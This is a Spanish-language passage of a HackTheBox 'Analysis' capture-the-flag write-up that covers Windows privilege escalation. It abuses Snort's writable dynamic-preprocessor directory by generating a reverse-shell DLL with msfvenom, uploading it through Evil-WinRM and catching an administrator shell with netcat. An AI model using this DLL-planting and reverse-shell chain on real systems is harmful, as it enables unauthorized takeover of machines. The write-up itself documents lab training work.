Y podemos leer la flag de usuario

1*Evil-WinRM* PS C:\Users\jdoe\Desktop> type user.txt
26c60ab7f059622a5...

Privilege Escalation

En la raíz del sistema vemos dos archivos interesantes. Write-up Image

Un log de Snort

y un mensaje encriptado

1*Evil-WinRM* PS C:\private> type encoded.txt
2-----BEGIN ENCODED MESSAGE-----
3Version: BCTextEncoder Utility v. 1.03.2.1
4
5wy4ECQMCq0jPQTxt+3BgTzQTBPQFbt5KnV7LgBq6vcKWtbdKAf59hbw0KGN9lBIK
60kcBSYXfHU2s7xsWA3pCtjthI0lge3SyLOMw9T81CPqT3HOIKkh3SVcO9jdrxfwu
7pHnjX+5HyybuBwIQwGprgyWdGnyv3mfcQQ==
8=a7bc
9-----END ENCODED MESSAGE-----

Analizando mas a fondo la configuración de snort C:\Snort\etc\snort.conf podemos ver esta línea.

1$ cat snort.conf | grep dynamicpreprocessor
2dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessor

Mirando la documentación

Tells snort to load the dynamic preprocessor shared library (if file is used) or all dynamic preprocessor shared libraries (if directory is used)

Por lo cual, cuando snort se ejecuta, carga todos los archivos .dll dentro de ese directorio.

También, en el directorio C:\Snort\log podemos ver que se están creando logs cada dos minutos, por lo que podemos deducir que hay una tarea que cada dos minutos se ejecuta por detrás. Write-up Image

Ahora solo hace falta comprobar si tenemos permisos para crear archivos en C:\Snort\lib\snort_dynamicpreprocessor

1*Evil-WinRM* PS C:\Snort\lib> icacls snort_dynamicpre*
2snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
3                          BUILTIN\Administrateurs:(I)(OI)(CI)(F)
4                          BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
5                          BUILTIN\Utilisateurs:(I)(CI)(AD)
6                          BUILTIN\Utilisateurs:(I)(CI)(WD)
7                          CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
8
9Successfully processed 1 files; Failed processing 0 files

Vemos que el grupo Utilisateurs puede escribir WD -> Write Data y AP -> Append Data añadir datos y nosotros pertenecemos a este grupo, lo podemos comprobar con whoami /groups

Ahora que tenemos el vector de ataque claro..

Podemos probar a crear un archivo .dll malicioso.

1$  msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -f dll -a x64 -o shell.dll
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3No encoder specified, outputting raw payload
4Payload size: 460 bytes
5Final size of dll file: 9216 bytes
6Saved as: shell.dll

Y a subirlo en este directorio.

1*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload shell.dll
2                                        
3Info: Uploading /home/pointedsec/Desktop/analysis/content/shell.dll to C:\Snort\lib\snort_dynamicpreprocessor\shell.dll
4                                        
5Data: 12288 bytes of 12288 bytes copied
6                                        
7Info: Upload successful!

Después de esperar un rato..

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.13] from (UNKNOWN) [10.129.230.179] 54068
4Microsoft Windows [Version 10.0.17763.5329]
5(c) 2018 Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>whoami
8whoami
9analysis\administrateur

Podemos ver la flag de root

1C:\Users\Administrateur\Desktop>type root.txt
2type root.txt
3749dd2480737c7...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Analysis   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #RCE   #Exploit   #Windows   #DNS Bruteforce   #Enumerating HTTP   #LDAP Injection   #Python Scripting   #Scripting   #Information Leakage   #Credentials Reuse   #Web Shell   #Autologon Credentials   #Enumerating Snort Service   #Abusing Dynamicpreprocessor   #Creating Malicious DLL   #Privilege Escalation